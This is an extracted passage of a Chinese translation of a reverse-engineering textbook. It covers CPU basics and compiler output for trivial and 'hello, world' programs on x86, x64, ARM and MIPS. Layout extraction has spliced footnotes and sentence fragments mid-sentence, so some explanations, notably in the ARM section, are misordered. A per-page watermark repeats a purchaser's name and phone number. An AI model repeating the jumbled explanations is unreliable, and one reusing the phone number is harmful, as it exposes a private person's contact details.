......................................... 423 35.1 整数值.................................................. 423 35.1.1 x86 构架下 MSVC 2012 优化 .... 423 35.1.2 x64 构架下的 MSVC 2012 优化 ........................................... 425 35.2 浮点数运算 .......................................... 425 第 36 章 斐波拉契数列 ............................... 428 36.1 例子 1 .................................................. 428 36.2 例子 2 .................................................. 430 36.3 总结 ..................................................... 433 第 37 章 CRC32 计算的例子 .................... 434 第 38 章 网络地址计算实例 ...................... 437 38.1 计算网络地址函数 calc_network_ address() ............................................... 438 38.2 函数 form_IP() ..................................... 439 38.3 函数 print_as_IP() ................................ 440 38.4 form_netmask()函数和 set_bit()函数 ..... 442 38.5 总结 ..................................................... 442 第 39 章 循环:几个迭代 ........................... 444 39.1 三个迭代器 .......................................... 444 39.2 两个迭代器 .......................................... 445 39.3 Intel C++ 2011 实例 ............................ 446 第 40 章 达夫装置 ......................................... 449 第 41 章 除以 9 .............................................. 452 41.1 x86 ....................................................... 452 异步社区会员 dearfuture(15918834820) 专享 尊重版权 目 录 7 41.2 ARM .................................................... 453 41.2.1 ARM 模式下,采用 Xcode 4.6.3 (LLVM)优化 ......................... 453 41.2.2 Thumb-2 模式下的 Xcode 4.6.3 优化(LLVM) ....................... 454 41.2.3 非优化的 Xcode 4.6.3(LLVM) 以及 Keil 6/2013 ...................... 454 41.3 MIPS .................................................... 454 41.4 它是如何工作的 ................................. 455 41.4.1 更多的理论 .............................. 456 41.5 计算除数 ............................................. 456 41.5.1 变位系数#1 .............................. 456 41.5.2 变位系数#2 .............................. 457 41.6 练习题 ................................................. 458 第 42 章 字符串转换成数字, 函数 atoi()...................................... 459 42.1 例 1 ...................................................... 459 42.1.1 64 位下的 MSVC 2013 优化 ... 459 42.1.2 64 位下的 GCC 4.9.1 优化 ...... 460 42.1.3 ARM 模式下 Keil 6/2013 优化 ... 460 42.1.4 Thumb 模式下 Keil 6/2013 优化 .......................................... 461 42.1.5 ARM64 下的 GCC 4.9.1 优化 ... 462 42.2 例 2 ...................................................... 462 42.2.1 64 位下的 GCC 4.9.1 优化 ...... 463 42.2.2 ARM 模式下的 Keil6/2013 优化 ............................................. 464 42.3 练习题.................................................. 465 第 43 章 内联函数 ......................................... 466 43.1 字符串和内存操作函数 ...................... 467 43.1.1 字符串比较函数 strcmp()......... 467 43.1.2 字符串长度函数 strlen() .......... 469 43.1.3 字符串复制函数 strcpy() .......... 469 43.1.4 内存设置函数 memset() ........... 470 43.1.5 内存复制函数 memcpy() .......... 471 43.1.6 内存对比函数 memcmp()........ 473 43.1.7 IDA 脚本 ................................... 474 第 44 章 C99 标准的受限指针 .................. 475 第 45 章 打造无分支的 abs()函数 ........... 478 45.1 x64 下的 GCC 4.9.1 优化 .................... 478 45.2 ARM64 下的 GCC 4.9 优化 ................ 478 第 46 章 变长参数函数 ............................... 480 46.1 计算算术平均值 .................................. 480 46.1.1 cdecl 调用规范 ......................... 480 46.1.2 基于寄存器的调用规范 ........... 481 46.2 vprintf()函数例子 ................................ 483 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第一 一部 部分 分 指 指令 令讲 讲解 解 在最初接触 C/C++时,我就对程序编译后的汇编指令十分着迷。按照从易到难的顺序,我循序渐进地 研究了 C/C++语言编译器生成汇编指令的模式。经过日积月累的努力,现在我不仅可以直接阅读 x86 程序 的汇编代码,而且能够在脑海里将其还原成原始的 C/C++语句。我相信这是学习逆向工程的有效方法。为 了能够帮助他人进行相关研究,我把个人经验整理成册,以待与读者分享。 本书包含大量 x86/x64 和 ARM 框架的范例。如果读者熟悉其中某一种框架,可以跳过相关的篇幅。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 2 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 11 章 章 CCPPUU 简 简介 介 CPU 是执行程序机器码的硬件单元。简要地说,其相关概念主要有以下几项。 指令码:CPU 受理的底层命令。典型的底层命令有:将数据在寄存器间转移、操作内存、计算运算等 指令。每类 CPU 都有自己的指令集架构(Instruction Set Architecture,ISA)。 机器码:发送给 CPU 的程序代码。一条指令通常被封装为若干字节。 汇编语言:为了让程序员少长白头发而创造出来的、易读易记的代码,它有很多类似宏的扩展功能。 CPU 寄存器:每种 CPU 都有其固定的通用寄存器(GPR)。x86 CPU 里一般有 8 个 GPR,x64 里往往 有 16 个 GPR,而 ARM 里则通常有 16 个 GPR。您可以认为 CPU 寄存器是一种存储单元,它能够无差别 地存储所有类型的临时变量。假如您使用一种高级的编程语言,且仅会使用到 8 个 32 位变量,那么光 CPU 自带的寄存器就能完成不少任务了! 那么,机器码和编程语言(PL)的区别在哪里?CPU 可不像人类那样,能够理解 C/C++、Java、Python 这类较为贴近人类语言的高级编程语言。CPU 更适合接近硬件底层的具体指令。在不久的将来,或许会出 现直接执行高级编程语言的 CPU,不过那种尚未问世的科幻 CPU 必定比现在的 CPU 复杂。人脑和计算机 各有所长,如果人类直接使用贴近硬件底层的汇编语言编写程序,其难度也很高——因为那样很容易出现 大量的人为失误。可见,我们需要用一种程序把高级的编程语言转换为 CPU 能受理的底层汇编语言,而这 种程序就是人们常说的编译器/Compiler。 1.1 指令集架构 在 x86 的指令集架构(ISA)里,各 opcode(汇编指令对应的机器码)的长度不尽相同。出于兼容性 的考虑,后来问世的 64 位 CPU 指令集架构也没有大刀阔斧地摒弃原有指令集架构。很多面向早期 16 位 8086 CPU 的指令,不仅被 x86 的指令集继承,而且被当前最新的 CPU 指令集继续沿用。 ARM属于RISC ① CPU,它的指令集在设计之初就力图保持各opcode的长度一致。在过去,这一特性的 确表现出了自身的优越性。最初的时候,所有ARM指令的机器码都被封装在 4 个字节里 ② 不久,他们就发现这种模式并不划算。在实际的应用程序中,绝大多数的CPU指令 。人们把这种运 行模式叫作“ARM模式”。 ③ ① Reduced instruction computing /精简指令集。 ② 这种固定长度的指令集,特别便于计算前后指令的地址。有关特性将在 13.2.2 节进行介绍。 ③ 即 MOV/PUSH/CALL/Jcc 等指令。 很少用满那 4 个 字节。所以他们又推出了一种把每条指令封装在 2 个字节的“Thumb”模式的指令集架构。人们把采用这 种指令集编码的指令叫作“Thumb模式”指令。然而Thumb指令集并不能够封装所有的ARM指令,它本身 存在指令上的局限。当然,在同一个程序里可以同时存在ARM模式和Thumb模式这两种指令。 之后,ARM 的缔造者们决定扩充 Thumb 指令集。他们自 ARM v7 平台开始推出了 Thumb-2 指令集。 Thumb-2 指令基本都可封装在 2 个字节的机器码之中,2 个字节封装不下的指令则由 4 字节封装。现在, 多数人依然错误地认为“Thumb-2 指令集是 ARM 指令集和 Thumb 指令集的复合体”。实际上,它是一种 充分利用处理器性能、足以与 ARM 模式媲美的独立的运行模式。在扩展了 Thumb 模式的指令集之后, Thumb-2 现在与 ARM 模式不相上下。由于 Xcode 编译器默认采用 Thumb-2 指令集编译,所以现在主流的 iPod/iPhone/iPad 应用程序都采用了 Thumb-2 指令集。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 4 逆向工程权威指南(上册) 64 位的 ARM 处理器接踵而至。这种 CPU 的指令集架构再次使用固定长度的 4 字节 opcode,所以不 再支持 Thumb 模式的指令。相应地,64 位 ARM 工作于自己的指令集。受到指令集架构的影响,ARM 指 令集分为 3 类:ARM 模式指令集、Thumb 模式指令集(包括 Thumb-2)和 ARM64 的指令集。虽然这些指 令集之间有着千丝万缕的联系,需要强调的是:不同的指令集分别属于不同的指令集架构;一个指令集绝 非另一个指令集的变种。相应地,本书会以 3 种指令集、重复演示同一程序的指令片段,充分介绍 ARM 应用程序的特点。 除了 ARM 处理器之外,还有许多处理器都采用了精简指令集。这些处理器多数都使用了固定长度的 32 位 opcode。例如 MIPS、PowerPC 和 Alpha AXP 处理器就是如此。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 22 章 章 最 最 简 简 函 函 数 数 返回预定常量的函数,已经算得上是最简单的函数了。 本章围绕下列函数进行演示: 指令清单 2.1 C/C++ 代码 int f() { return 123; }; 2.1 x86 在开启优化功能之后,GCC 编译器产生的汇编指令,如下所示。 指令清单 2.2 Optimizing GCC/MSVC(汇编输出) f: mov eax, 123 ret MSVC 编译的程序和上述指令完全一致。 这个函数仅由两条指令构成:第一条指令把数值 123 存放在EAX寄存器里;根据函数调用约定 ① 2.2 ARM ,后 面一条指令会把EAX的值当作返回值传递给调用者函数,而调用者函数(caller)会从EAX寄存器里取值, 把它当作返回结果。 ARM 模式是什么情况? 指令清单 2.3 Optimizing Keil 6/2013 (ARM 模式) f PROC MOV r0,#0x7b ; 123 BX lr ENDP ARM 程序使用 R0 寄存器传递函数返回值,所以指令把数值 123 赋值给 R0。 ARM 程序使用 LR 寄存器(Link Register)存储函数结束之后的返回地址(RA/ Return Address)。x86 程序使用“栈”结构存储上述返回地址。可见,BX LR 指令的作用是跳转到返回地址,即返回到调用者函 数,然后继续执行调用体 caller 的后续指令。 如您所见,x86 和 ARM 指令集的 MOV 指令确实和对应单词“move”没有什么瓜葛。它的作用是复 制(copy),而非移动(move)。 2.3 MIPS 在 MIPS 指令里,寄存器有两种命名方式。一种是以数字命名($0~$31),另一种则是以伪名称(pseudoname) ① Calling Convention,又称为函数的调用协定、调用规范。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 6 逆向工程权威指南(上册) 命名($V0~VA0,依此类推)。在 GCC 编译器生成的汇编指令中,寄存器都采用数字方式命名。 指令清单 2.4 Optimizing GCC 4.4.5(汇编输出) j $31 li $2,123 # 0x7b 然而 IDA 则会显示寄存器的伪名称。 指令清单 2.5 Optimizing GCC 4.4.5(IDA) jr $ra li $v0, 0x7B 根据伪名称和寄存器数字编号的关系可知,存储函数返回值的寄存器都是$2(即$V0)。此处 LI 指令 是英文词组“Load Immediate(加载立即数)”的缩写。 其中,J 和 JR 指令都属于跳转指令,它们把执行流递交给调用者函数,跳转到$31 即$RA 寄存器中的 地址。这个寄存器相当于的 ARM 平台的 LR 寄存器。 此外,为什么赋值指令 LI 和转移指令 J/JR 的位置反过来了?这属于 RISC 精简指令集的特性之一—— 分支(转移)指令延迟槽 (Branch delay slot)的现象。简单地说,不管分支(转移)发生与否,位于分支指 令后面的一条指令(在延时槽里的指令),总是被先于分支指令提交。这是 RISC 精简指令集的一种特例, 我们不必在此处深究。总之,转移指令后面的这条赋值指令实际上是在转移指令之前运行的。 MIPS 指令集与寄存器名称 习惯上,MIPS 领域中的寄存器名称和指令名称都使用小写字母书写。但是为了在排版风格上与其他 指令集架构的程序保持一致,本书采用大写字母进行排版。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 33 章 章 HHeelllloo, ,wwoorrlldd! ! 现在,我们开始演示《C语言编程》一书 ① 3.1 x86 中著名的程序: #include <stdio.h> int main() { printf("hello, world\n"); return 0; }; 3.1.1 MSVC 接下来我们将通过下述指令,使用 MSVC 2010 编译下面这个程序。 cl 1.cpp /Fa1.asm 其中/Fa 选项将使编译器生成汇编指令清单文件(assembly listing file),并指定汇编列表文件的文件名 称是 1.asm。 上述命令生成的 1.asm 内容如下。 指令清单 3.1 MSVC 2010 CONST SEGMENT $SG3830 DB 'hello, world', 0AH, 00H CONST ENDS PUBLIC _main EXTRN _printf:PROC ; Function compile flags: /Odtp _TEXT SEGMENT _main PROC push ebp mov ebp, esp push OFFSET $SG3830 call _printf add esp, 4 xor eax, eax pop ebp ret 0 _main ENDP _TEXT ENDS MSVC 生成的汇编清单文件都采用了 Intel 语体。汇编语言存在两种主流语体,即 Intel 语体和 AT&T 语体。本书将在 3.1.3 节中讨论它们之间的区别。 在生成 1.asm 之后,编译器会生成 1.obj 再将之链接为可执行文件 1.exe。 在 hello world 这个例子中,文件分为两个代码段,即 CONST 和_TEXT 段,它们分别代表数据段和代码段。 在本例中,C/C++程序为字符串常量“Hello,world”分配了一个指针(const char[]),只是在代码中这个指针的名 ① Brian W. Kernighan. The C Programming Language. Ed. by Dennis M. Ritchie. 2nd. Prentice Hall Professional Tech- nical Reference, 1988. ISBN: 0131103709。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 8 逆向工程权威指南(上册) 称并不明显(参照下列 Bjarne Stroustrup. The C++ Programming Language, 4th Edition. 2013 的第 176 页,7.3.2 节)。 接下来,编译器进行了自己的处理,并在内部把字符串常量命名为$SG3830。 因此,上述程序的源代码等效于: #include <stdio.h> const char *$SG3830[]="hello, world\n"; int main() { printf($SG3830); return 0; } 在回顾 1.asm 文件时,我们会发现编译器在字符串常量的尾部添加了十六进制的数字 0,即 00h。依据 C/C++字符串的标准规范,编译器要为这个字符串常量添加结束标志(即数值为零的单个字节)。有关标准 请参照本书的 57.1.1 节。 在代码段_TEXT 只有 1 个函数,即主函数 main()。在汇编指令清单里,主函数的函数体有标志性的函 数序言(function prologue)和函数尾声(function epilogue)。实际上所有的函数都有这样的序言和尾声。 在函数的序言标志之后,我们能够看到调用 printf()函数的指令: CALL _printf。 通过 PUSH 指令,程序把字符串的指针推送入栈。这样,printf()函数就可以调用栈里的指针,即字符 串“hello, world!”的地址。 在 printf()函数结束以后,程序的控制流会返回到 main()函数之中。此时,字符串地址(即指针)仍残 留在数据栈之中。这个时候就需要调整栈指针(ESP 寄存器里的值)来释放这个指针。 下一条语句是“add ESP,4”,把 ESP 寄存器(栈指针/Stack Pointer)里的数值加 4。 为什么要加上“4”?这是因为 x86 平台的内存地址使用 32 位(即 4 字节)数据描述。同理,在 x64 系统上释放这个指针时,ESP 就要加上 8。 因此,这条指令可以理解为“POP某寄存器”。只是本例的指令直接舍弃了栈里的数据而POP指令还要 把寄存器里的值存储到既定寄存器 ① 顾名思义,XOR就是“异或” 。 某些编译器(如 Intel C++编辑器)不会使用 ADD 指令来释放数据栈,它们可能会用 POP ECX 指令。 例如,Oracle RDBMS(由 Intel C++编译器编译)就会用 POP ECX 指令,而不会用 ADD 指令。虽然 POP ECX 命令确实会修改 ECX 寄存器的值,但是它也同样释放了栈空间。 Intel C++编译器使用 POP ECX 指令的另外一个理由就是,POP ECX 对应的 OPCODE(1 字节 )比 ADD ESP 的 OPCODE(3 字节)要短。 指令清单 3.2 Oracle RDBMS 10.2 Linux (摘自 app.o) .text:0800029A push ebx .text:0800029B call qksfroChild .text:080002A0 pop ecx 本书将在讨论操作系统的部分详细介绍数据栈。 在上述 C/C++程序里,printf()函数结束之后,main()函数会返回 0(函数正常退出的返回码)。即 main() 函数的运算结果是 0。 这个返回值是由指令“XOR EAX, EAX”计算出来的。 ② 也有一些编译器会使用“SUB EAX,EAX”指令把 EAX 寄存器置零,其中 SUB 代表减法运算。总之, 。编译器通常采用异或运算指令,而不会使用“MOV EAX,0”指令。 主要是因为异或运算的opcode较短(2 字节:5 字节)。 ① 但是 CPU 标志位会发生变化。 ② 参见 http://en.wikipedia.org/wiki/Exclusive_or。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 9 main()函数的最后一项任务是使 EAX 的值为零。 汇编列表中最后的操作指令是RET,将控制权交给调用程序。通常它起到的作用就是将控制权交给操 作系统,这部分功能由C/C++的CRT ① 3.1.2 GCC 实现。 接下来,我们使用 GCC 4.4.1 编译器编译这个 hello world 程序。 gcc 1.c -o 1 我们使用反汇编工具 IDA(Interactive Disassembler)查看 main()函数的具体情况。IDA 所输出的汇编 指令的格式,与 MSVC 生成的汇编指令的格式相同,它们都采用 Intel 语体显示汇编指令。 此外,如果要让 GCC 编译器生成 Intel 语体的汇编列表文件,可以使用 GCC 的选项“-S-masm=intel”。 指令清单 3.3 在 IDA 中观察到的汇编指令 Main proc near var_10 = dword ptr -10h push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 10h mov eax, offset aHelloWorld ; "hello, world\n" mov [esp+10h+var_10], eax call _printf mov eax, 0 leave retn main endp GCC 生成的汇编指令,与 MSVC 生成的结果基本相同。它首先把“hello, world”字符串在数据段的地 址(指针)存储到 EAX 寄存器里,然后再把它存储在数据栈里。 其中值得注意的还有开场部分的“AND ESP, 0FFFFFFF0h”指令。它令栈地址(ESP的值)向 16 字节 边界对齐(成为 16 的整数倍),属于初始化的指令。如果地址位没有对齐,那么CPU可能需要访问两次内 存才能获得栈内数据。虽然在 8 字节边界处对齐就可以满足 32 位x86 CPU和 64 位x64 CPU的要求,但是主 流编译器的编译规则规定“程序访问的地址必须向 16 字节对齐(被 16 整除)”。人们还是为了提高指令的 执行效率而特意拟定了这条编译规范。 ② 3.1.3 GCC:AT&T 语体 “SUB ESP,10h”将在栈中分配 0x10 bytes,即 16 字节。我们在后文看到,程序只会用到 4 字节空间。 但是因为编译器对栈地址(ESP)进行了 16 字节对齐,所以每次都会分配 16 字节的空间。 而后,程序将字符串地址(指针的值)直接写入到数据栈。此处,GCC 使用的是 MOV 指令;而 MSVC 生成的是 PUSH 指令。其中 var_10 是局部变量,用来向后面的 printf()函数传递参数。 随即,程序调用 printf()函数。 GCC 和 MSVC 不同,除非人工指定优化选项,否则它会生成与源代码直接对应的“MOV EAX, 0”指 令。但是,我们已经知道 MOV 指令的 opcode 肯定要比 XOR 指令的 opcode 长。 最后一条 LEAVE 指令,等效于“MOV ESP, EBP”和“POP EBP”两条指令。可见,这个指令调整了 数据栈指针 ESP,并将 EBP 的数值恢复到调用这个函数之前的初始状态。毕竟,程序段在开始部分就对 EBP 和 EBP 进行了操作(MOVEBP, ESP/AND ESP, ...),所以函数要在退出之前恢复这些寄存器的值。 AT&T 语体同样是汇编语言的显示风格。这种语体在 UNIX 之中较为常见。 ① C runtime library:sec:CRT,参见本书 68.1 节。 ② 参考 Wikipedia:Data structure alignment http://en.wikipedia.org/wiki/Data_structure_alignment。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 10 逆向工程权威指南(上册) 接下来,我们使用 GCC4.7.3 编译如下所示的源程序。 指令清单 3.4 使用 GCC 4.7.3 编译源程序 gcc –S 1_1.c 上述指令将会得到下述文件。 指令清单 3.5 GCC 4.7.3 生成的汇编指令 .file "1_1.c" .section .rodata .LC0: .string "hello, world\n" .text .globl main .type main, @function main: .LFB0: .cfi_startproc pushl %ebp .cfi_def_cfa_offset 8 .cfi_offset 5, -8 movl %esp, %ebp .cfi_def_cfa_register 5 andl $-16, %esp subl $16, %esp movl $.LC0, (%esp) call printf movl $0, %eax leave .cfi_restore 5 .cfi_def_cfa 4, 4 ret .cfi_endproc .LFE0: .size main, .-main .ident "GCC: (Ubuntu/Linaro 4.7.3-1ubuntu1) 4.7.3" .section .note.GNU-stack,"",@progbits 在上述代码里,由小数点开头的指令就是宏。这种形式的汇编语体大量使用汇编宏,可读性很差。为了便于 演示,我们将其中字符串以外的宏忽略不计(也可以启用 GCC 的编译选项-fno-asynchronous-unwind-tables,直接 预处理为没有 cfi 宏的汇编指令),将会得到如下指令。 指令清单 3.6 GCC 4.7.3 生成的指令 .LC0: .string "hello, world\n" main: pushl %ebp movl %esp, %ebp andl $-16, %esp subl $16, %esp movl $.LC0, (%esp) call printf movl $0, %eax leave ret 在继续解读这个代码之前,我们先介绍一下 Intel 语体和 AT&T 语体的区别。  运算表达式(operands,即运算单元)的书写顺序相反。 Intel 格式:<指令><目标><源>。 AT&T 格式:<指令><源><目标>。 如果您认为 Intel 语体的指令使用等号(=)赋值,那么您可以认为 AT&T 语法结构使用右箭头(→) 进行赋值。应当说明的是,这两种格式里,部分 C 标准函数的运算单元的书写格式确实是相同的, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 11 例如 memcpy()、strcpy()。  AT&T 语体中,在寄存器名称之前使用百分号(%)标记,在立即数之前使用美元符号($)标记。 AT&T 语体使用圆括号,而 Intel 语体则使用方括号。  AT&T 语体里,每个运算操作符都需要声明操作数据的类型: -9-quad(64 位) -l 指代 32 位 long 型数据。 -w 指代 16 位 word 型数据。 -b 指代 8 位 byte 型数据。  其他区别请参考 Sun 公司发布的《x86 Assembly Language Reference Manual》。 现在再来阅读 hello world 的 AT&T 语体指令,就会发现它和 IDA 里看到的指令没有实质区别。有些人 可能注意到,用于数据对齐的 0FFFFFFF0h 在这里变成了十进制的$-16——把它们按照 32byte 型数据进行 书写后,就会发现两者完全一致。 此外,在退出 main()时,处理 EAX 寄存器的指令是 MOV 指令而不是 XOR 指令。MOV 的作用是给寄 存器赋值(load)。某些硬件框架的指令集里有更为直观的“LOAD”“STORE”之类的指令。 3.2 x86-64 3.2.1 MSVC-x86-64 若用 64 位 MSVC 编译上述程序,则会得到下述指令。 指令清单 3.7 MSVC 2012 x64 $SG2989 DB 'hello, world', 00H main PROC sub rsp, 40 lea rcx, OFFSET FLAT:$SG2989 call printf xor eax, eax add rsp, 40 ret 0 main ENDP 在 x86-64 框架的 CPU 里,所有的物理寄存器都被扩展为 64 位寄存器。程序可通过 R-字头的名称直接调用整 个 64 位寄存器。为了尽可能充分地利用寄存器、减少访问内存数据的次数,编译器会充分利用寄存器传递函数参 数(请参见 64.3 节的 fastcall 约定)。也就是说,编译器会优先使用寄存器传递部分参数,再利用内存(数据栈) 传递其余的参数。Win64 的程序还会使用 RCX、RDX、R8、R9 这 4 个寄存器来存放函数参数。我们稍后就会看 到这种情况:printf()使用 RCX 寄存器传递参数,而没有像 32 位程序那样使用栈传递数据。 在 x86-64 硬件平台上,寄存器和指针都是 64 位的,存储于 R-字头的寄存器里。但是出于兼容性的考 虑,64 位寄存器的低 32 位,也要能够担当 32 位寄存器的角色,才能运行 32 位程序。 在 64 位 x86 兼容的 CPU 中,RAX/EAX/AX/AL 的对应关系如下。 7th (字节号) 6th 5th 4th 3rd 2nd 1st 0th RAXx64 EAX AX AH AL main()函数的返回值是整数类型的零,但是出于兼容性和可移植性的考虑,C 语言的编译器仍将使用 32 位的零。换而言之,即使是 64 位的应用程序,在程序结束时 EAX 的值是零,而 RAX 的值不一定会是零。 此时,数据栈的对应空间里仍留有 40 字节的数据。这部分数据空间有个专用的名词,即阴影空间 异步社区会员 dearfuture(15918834820) 专享 尊重版权 12 逆向工程权威指南(上册) (shadow space)。本书将在 8.2.1 节里更详细地介绍它。 3.2.2 GCC-x86-64 我们使用 64 位 Linux 的 GCC 编译器编译上述程序,可得到如下所示的指令。 指令清单 3.8 GCC 4.4.6 x64 .string "hello, world\n" main: sub rsp, 8 mov edi, OFFSET FLAT:.LC0 ; "hello, world" xor eax, eax ; number of vector registers passed call printf xor eax, eax add rsp, 8 ret Linux、BSD和Mac OS X系统中的应用程序,会优先使用RDI、RSI、RDX、RCX、R8、R9 这 6 个寄 存器传递函数所需的头 6 个参数,然后使用数据栈传递其余的参数。 ① 需要注意的是,64 位汇编指令MOV在写入R-寄存器的低 32 位地址位的时候,即对E-寄存器进行写操 作的时候,会同时清除R寄存器中的高 32 位地址位 因此,64 位的 GCC 编译器使用 EDI 寄存器(寄存器的 32 位)存储字符串指针。EDI 不过是 RDI 寄 存器中地址位较低的 32 位地址部分。为何 GCC 不直接使用整个 RDI 寄存器? ② 如果打开GCC生成的obj文件,我们就能看见全部的opcode。 。所以, “MOV EAX, 011223344h”能够对RAX寄存 器进行正确的赋值操作,因为该指令会清除(置零)高地址位的内容。 ③ 在调用printf()之前,程序清空了EAX寄存器,这是x86-64 框架的系统规范决定的。在系统与应用程序 接口的规范中,EAX寄存器用来保存用过的向量寄存器(vector registers)。 指令清单 3.9 GCC 4.4.6 x64 .text:00000000004004D0 main proc near .text:00000000004004D0 48 83 EC 08 sub rsp, 8 .text:00000000004004D4 BF E8 05 40 00 mov edi, offset format ; "hello, world\n" .text:00000000004004D9 31 C0 xor eax, eax .text:00000000004004DB E8 D8 FE FF FF call _printf .text:00000000004004E0 31 C0 xor eax, eax .text:00000000004004E2 48 83 C4 08 add rsp, 8 .text:00000000004004E6 C3 retn .text:00000000004004E6 main endp 在地址 0x4004D4 处,程序对 EDI 进行了写操作,这部分代码的 opcode 占用了 5 个字节;相比之下,对 RDI 进行写操作的 opcode 则会占用 7 个字节。显然,出于空间方面的考虑,GCC 进行了相应的优化处理。此 外,因为 32 位地址(指针)能够描述的地址不超过 4GB,我们可据此判断这个程序的数据段地址不会超过 4GB。 ④ 3.3 GCC 的其他特性 只要 C 语言代码里使用了字符串型常量(可参照 3.1.1 节的范例),编译器就会把这个字符串常量置于 常量字段,以保证其内容不会发生变化。不过 GCC 有个有趣的特征:它可能会把字符串拆出来单独使用。 我们来看下面这段程序: #include <stdio.h> int f1() { ① 参考 Mit13。 ② 参考 Int13。 ③ 可通过菜单“Options Number of opcode bytes”启用有关选项。 ④ 请参考 Mit13。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 13 printf ("world\n"); }; int f2() { printf ("hello world\n"); }; int main() { f1(); f2(); }; 多数的 C/C++编译器(包括 MSVC 编译器)会分配出两个直接对应的字符串,不过 GCC 4.8.1 的编译 结果则更为可圈可点。 指令清单 3.10 在 IDA 中观察 GCC 4.8.1 的汇编指令 f1 proc near s = dword ptr -1Ch sub esp, 1Ch mov [esp+1Ch+s], offset s ; "world\n" call _puts add esp, 1Ch retn f1 endp f2 proc near s = dword ptr -1Ch sub esp, 1Ch mov [esp+1Ch+s], offset aHello ; "hello " call _puts add esp, 1Ch retn f2 endp aHello db 'hello' s db 'world', 0xa, 0 在打印字符串“hello world”的时候,这两个词的指针地址实际上是前后相邻的。在调用 puts()函数进 行输出时,函数本身不知道它所输出的字符串分为两个部分。实际上我们在汇编指令清单中可以看到,这 两个字符串没有被“切实”分开。 在 f1()函数调用 puts()函数时,它输出字符串“world”和外加结束符(数值为零的 1 个字节),因为 puts() 函数并不知道字符串可以和前面的字符串连起来形成新的字符串。 GCC 编译器会充分这种技术来节省内存。 3.4 ARM 根据我个人的经验,本书将通过以下几个主流的 ARM 编译器进行演示。  2013 年 6 月版本的 Keil 编译器。  Apple Xcode 4.6.3 IDE (含LLVM-GCC 4.2 编译器) 。 ① 除非特别标注,否则本书中的 ARM 程序都是 32 位 ARM 程序。在介绍 64 位的 ARM 程序时,本书会  面向 ARM64 的 GCC 4.9 (Linaro),其 32 位的 Windows 程序可由下述网址下载:http://www.linaro.org/ projects/armv8/。 ① Apple 公司的 Xcode 4.6.3 使用的前段编译器是开源的 GCC 程序,代码生成程序(code generator)使用的是 LLVM。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 14 逆向工程权威指南(上册) 称其为 ARM64 程序。 3.4.1 Keil 6/2013——未启用优化功能的 ARM 模式 请使用下述指令,用 Keil 编译器把 hello world 程序编译为 ARM 指令集架构的汇编程序: armcc.exe --arm --c90 -O0 1.c 虽然armcc编译器生成的汇编指令清单同样采用了Intel语体,但是程序所使用的宏却极具ARM处理器 的特色 ① 现在回顾上面的代码,第一句“STMFD SP!, {R4,LR}” 。眼见为实,我们一起用IDA来看看它们的本来面目吧。 指令清单 3.11 使用 IDA 观察 Non-optimizing Keil 6/2013 (ARM 模式) .text:00000000 main .text:00000000 10 40 2D E9 STMFD SP!, {R4,LR} .text:00000004 1E 0E 8F E2 ADR R0, aHelloWorld ; "hello, world" .text:00000008 15 19 00 EB BL __2printf .text:0000000C 00 00 A0 E3 MOV R0, #0 .text:00000010 10 80 BD E8 LDMFD SP!, {R4,PC} .text:000001EC 68 65 6C 6C+aHelloWorld DCB "hello, world",0 ; DATA XREF: main+4 在本节的例子里,每条指令都占用 4 个字节。正如您所见到,我们确实要把源程序编译为 ARM 模式 指令集的应用程序,而不是把它编译为以 Thumb 模式的应用程序。 ② 这条指令首先将SP 相当于x86 的PUSH指令。它把R4 寄存器 和LR(Link Register)寄存器的数值放到数据栈中。此处,本文的措辞是“相当于”,而非“完全是”。这是因 为ARM模式的指令集里没有PUSH指令,只有Thumb模式里的指令集里才有“PUSH/POP”指令。在IDA中 可以清除地看到这种差别,所以本书推荐使用IDA分析上述程序。 ③ 接下来的指令是“ADR R0, aHelloWorld”。它首先对PC 递减,在栈中分配一个新的空间以便存储R4 和LR的值。 STMFD 指令能够一次存储多个寄存器的值,Thumb 模式的 PUSH 指令也可以这样使用。实际上 x86 指令集中并没有这样方便的指令。STMFD 指令可看作是增强版本的 PUSH 指令,它不仅能够存储 SP 的值, 也能够存储任何寄存器的值。换句话说,STMFD 可用来在指定的内存空间存储多个寄存器的值。 ④进行取值操作,然后把“hello, world”字符串的 偏移量(可能题值)与PC的值相加,将其结果存储到R0 之中。有些读者可能不明白此处PC寄存器的作用。 严谨地说,编译器通常帮助PC把某些指令强制变为“位置无关代码/position-independent code”。在(多数)操 作系统把程序加载在内存里的时候,OS分配给程序代码的内存地址是不固定的;但是程序内部既定指令和数 据常量之间的偏移量是固定的(由二进制程序文件决定)。这种情况下,要在程序内部进行指令寻址(例如跳 转等情况),就需要借助PC指针 ⑤ “BL __2printf” 。ADR将当前指令的地址与字符串指针地址的差值(偏移量)传递给R0。 程序借助PC指针可找到字符串指针的偏移地址,从而使操作系统确定字符串常量在内存里的绝对地址。 ⑥ 这便是 CISC(复杂指令集)处理器与 RISC(精简指令集)处理器在工作模式上的区别。在拥有复杂 调用printf()函数。BL实施的具体操作实际上是:  将下一条指令的地址,即地址 0xC 处“MOV R0, #0”的地址,写入 LR 寄存器。  然后将 printf()函数的地址写入 PC 寄存器,以引导系统执行该函数。 当 printf()完成工作之后,计算机必须知道返回地址,即它应当从哪里开始继续执行下一条指令。所以, 每次使用 BL 指令调用其他函数之前,都要把 BL 指令的下一个指令的地址存储到 LR 寄存器。 ① 例如,ARM 模式的指令集里没有 PUSH/POP 指令。 ② STMFD 是 Storage Multiple Full Descending 的缩写。 ③ stack pointer,栈指针。x86/x64 框架中的 SP 是 SP/ESP/RSP,而 ARM 框架的 SP 就是 SP。 ④ Program Counter,中文叫做指令指针或程序计数器。x86/x64 里的 PC 叫作 IP/EIP/RIP,ARM 里它就叫 PC。 ⑤ 本书介绍操作系统的部分有更详细的说明。在不同框架的汇编语言中,PC 